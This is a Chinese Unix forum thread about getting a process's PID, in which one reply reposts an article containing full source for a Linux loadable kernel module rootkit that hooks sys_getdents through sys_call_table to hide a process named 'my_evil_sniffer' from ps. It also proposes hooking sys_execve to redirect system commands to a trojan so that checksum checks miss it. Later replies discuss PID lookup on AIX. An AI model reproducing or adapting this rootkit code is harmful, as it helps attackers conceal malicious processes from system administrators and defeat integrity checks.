LoveUnix » 编程开发 & Rational » 如何在程序里得到某个进程的pid
让LU留住您的每

一天 让LU博客留住您的每一天
2005-9-14 11:31 just_a_joke
*** 作者被禁止或删除 内容自动屏蔽 ***

2005-9-14 12:00 zhangxiangod
贴一篇文章,你看看<br /><br />by 大鹰 <br />www.patching.net <br />好,我们看进程的隐藏,其实道理和前面差不多,我们先来看看ps用了哪些系统调用,以便我们来截获它 <br />[hello&#33;e4gle]# strace ps <br />............. <br />open(&quot;/proc/10284/stat&quot;, O_RDONLY)      = 5 <br />read(5, &quot;10284 (ps) R 10283 10283 10169 7&quot;..., 511) = 185 <br />close(5)                                = 0 <br />open(&quot;/proc/10284/statm&quot;, O_RDONLY)     = 5 <br />read(5, &quot;115 115 96 5 0 110 19\n&quot;, 511) = 22 <br />close(5)                                = 0 <br />open(&quot;/proc/10284/status&quot;, O_RDONLY)    = 5 <br />read(5, &quot;Name:\tps\nState:\tR (running)\nPid:&quot;..., 511) = 411 <br />close(5)                                = 0 <br />ioctl(1, TIOCGWINSZ, {ws_row=42, ws_col=80, ws_xpixel=0, ws_ypixel=0}) = 0 <br />brk(0)                                  = 0x8162908 <br />brk(0x8162928)                          = 0x8162928 <br />brk(0x8163000)                          = 0x8163000 <br />geteuid()                               = 0 <br />getpid()                                = 10284 <br />lseek(3, 0, SEEK_SET)                   = 0 <br />read(3, &quot;169129.48 167700.41\n&quot;, 1023)  = 20 <br />time(NULL)                              = 984486166 <br />open(&quot;/proc/meminfo&quot;, O_RDONLY)         = 5 <br />............... <br />我截取了一部分,其实已经可以说明问题,非常简单,象ps之类的命令并不是直接用任何特殊的系统调用 <br />来获得当前进程的列表的(也没有系统调用可以完成这项任务) 通过对ps命令的strace,你会发现其实它 <br />是从/proc目录里得到进程信息的。在/proc里你可以找到很多目录,它们的名字都是仅仅由数字组成的( <br />比较奇怪吧<!--emo&;)--><img src='style_emoticons/default/wink.gif' border='0' style='vertical-align:middle' alt='wink.gif' /><!--endemo-->,那些数字就是运行着的进程的PID了,在这些目录里你可以找到与该进程有关的任何信息 <br />,所以呢,ps命令其实就是对/proc运行了ls而已,而进程的相关信息,则是在/proc/PID的目录里放着, <br />好了,现在我们有办法了,ps必须从/proc目录里读东西,所以它要用到sys_getdents(...),我们只要从 <br />PID来找出进程名,然后再把PID和/proc里的比较,如果是我们想藏的东西,就象前面所说的隐藏目录一 <br />样,把它给封杀掉,上面程序中的两个task的函数及invisible函数仅是用来获得在/proc里找到PID的名 <br />字的,至于文件隐藏,不用我多说了罢。 <br /><br />好,我把实现例程贴出来供参考: <br />#define MODULE <br />#define __KERNEL__ <br /><br />#include  <br />#include  <br />#include  <br />#include  <br />#include  <br />#include  <br />#include  <br />#include  <br />#include  <br />#include  <br />#include  <br />#include  <br />#include  <br />#include  <br /><br />extern void* sys_call_table[]; <br /><br />/*我们想要隐藏的进程名*/ <br />char mtroj[] = &quot;my_evil_sniffer&quot;; <br /><br />int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count); <br /><br />/*将string转换为数字*/ <br />int myatoi(char *str) <br />{ <br /> int res = 0; <br /> int mul = 1; <br /> char *ptr; <br /> for (ptr = str + strlen(str) - 1; ptr &gt;= str; ptr--) { <br />  if (*ptr &lt; &#39;0&#39; || *ptr &gt; &#39;9&#39;) <br />   return (-1); <br />  res += (*ptr - &#39;0&#39;) * mul; <br />  mul *= 10; <br /> } <br /> return (res); <br />} <br /><br />/*从PID里取得任务列表的结构*/ <br />struct task_struct *get_task(pid_t pid) <br />{ <br /> struct task_struct *p = current; <br /> do { <br />  if (p-&gt;pid == pid) <br />   return p; <br />   p = p-&gt;next_task; <br />  } <br />  while (p &#33;= current); <br />  return NULL; <br />} <br /><br />/*从任务列表里取得进程的名字*/ <br />static inline char *task_name(struct task_struct *p, char *buf) <br />{ <br /> int i; <br /> char *name; <br /><br /> name = p-&gt;comm; <br /> i = sizeof(p-&gt;comm); <br /> do { <br />  unsigned char c = *name; <br />  name++; <br />  i--; <br />  *buf = c; <br />  if (&#33;c) <br />   break; <br />  if (c == &#39;\\&#39;) { <br />   buf[1] = c; <br />   buf += 2; <br />   continue; <br />  } <br />  if (c == &#39;\n&#39;) { <br />   buf[0] = &#39;\\&#39;; <br />   buf[1] = &#39;n&#39;; <br />   buf += 2; <br />   continue; <br />  } <br />  buf++; <br /> } <br /> while (i); <br /> *buf = &#39;\n&#39;; <br /> return buf + 1; <br />} <br /><br />/*检查这个进程是否是我们想要隐藏的家伙*/ <br />int invisible(pid_t pid) <br />{ <br /> struct task_struct *task = get_task(pid); <br /> char *buffer; <br /> if (task) { <br />  buffer = kmalloc(200, GFP_KERNEL); <br />  memset(buffer, 0, 200); <br />  task_name(task, buffer); <br />  if (strstr(buffer, (char *) &amp;mtroj)) { <br />   kfree(buffer); <br />   return 1; <br />  } <br /> } <br /> return 0; <br />} <br /><br />/*从我刚才的第一篇文章就已经说过了,呵呵不多说了*/ <br />int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) <br />{ <br /> unsigned int tmp, n; <br /> int t, proc = 0; <br /> struct inode *dinode; <br /> struct dirent *dirp2, *dirp3; <br /><br /> tmp = (*orig_getdents) (fd, dirp, count); <br /><br />#ifdef __LINUX_DCACHE_H <br /> dinode = current-&gt;files-&gt;fd[fd]-&gt;f_dentry-&gt;d_inode; <br />#else <br /> dinode = current-&gt;files-&gt;fd[fd]-&gt;f_inode; <br />#endif <br /><br /> if (dinode-&gt;i_ino == PROC_ROOT_INO &amp;&amp; &#33;MAJOR(dinode-&gt;i_dev) &amp;&amp; MINOR(dinode-&gt;i_dev) == 1) <br />  proc=1; <br /> if (tmp &gt; 0) { <br />  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); <br />  memcpy_fromfs(dirp2, dirp, tmp); <br />  dirp3 = dirp2; <br />  t = tmp; <br />  while (t &gt; 0) { <br />   n = dirp3-&gt;d_reclen; <br />   t -= n; <br />  if ((proc &amp;&amp; invisible(myatoi(dirp3-&gt;d_name)))) { <br />   if (t &#33;= 0) <br />    memmove(dirp3, (char *) dirp3 + dirp3-&gt;d_reclen, t); <br />   else <br />    dirp3-&gt;d_off = 1024; <br />    tmp -= n;  <br />   } <br />   if (t &#33;= 0) <br />    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3-&gt;d_reclen); <br />  } <br />  memcpy_tofs(dirp, dirp2, tmp); <br />  kfree(dirp2); <br /> } <br /> return tmp; <br />} <br /><br /><br />int init_module(void)                /*加载*/ <br />{ <br /> orig_getdents=sys_call_table[SYS_getdents]; <br /> sys_call_table[SYS_getdents]=hacked_getdents; <br /> return 0; <br />} <br /><br />void cleanup_module(void)            /*卸载*/ <br />{ <br /> sys_call_table[SYS_getdents]=orig_getdents;                                       <br />} <br /><br />其实其他我就不多说了,都是在重复劳动了,同样隐藏网络连接我们可以截获netstat命令的系统调用就 <br />可以了。 <br /><br />我们还可以截获sys_execve(...)来重定向系统命令如/bin/ps,/bin/ls,呵呵,其实和本文是两回事了, <br />说说而已,也就是把/bin/ls重定向到我们的ls木马或rootkit程序,这样可以躲过checksum的校验,因为 <br />我们根本没有替换/bin/ls,呵呵,照这个思路我们可以做的事情非常多,发挥想象可以做出很多好玩的 <br />木马。 <br /> <br />

2005-9-14 14:05 just_a_joke
*** 作者被禁止或删除 内容自动屏蔽 ***

2005-9-14 14:16 zhangxiangod
我也不是很清楚<br />我只知道AIX 5.X是有的<br />AIX Version 4版本没有/proc管理吗?<br />

2005-9-14 15:17 just_a_joke
*** 作者被禁止或删除 内容自动屏蔽 ***

2005-9-14 16:04 无双
大鹰的方法是直接修改内核的 如果你没有修改内核的权限那就不用考虑了<br /><br />

2006-9-30 13:00 triphop
如果遍历系统进程表的话,不同的平台是不一样的。
所以,你可以使用ps的内容进行匹配你的程序名,然后在拆出你要的pid来

2006-9-30 17:39 sinister
在 AIX 内核里得到当前访问的进程 ID,直接使用 getpid() 即可。得到所有进程 PID 从当前线程
环境自己遍历。 没有 procfs 并不意味着无法得到所有进程 PID。

BTW:AIX 内核是线程调度。

页: [1]


Powered by Discuz! Archiver 5.5.0  © 2001-2006 Comsenz Inc.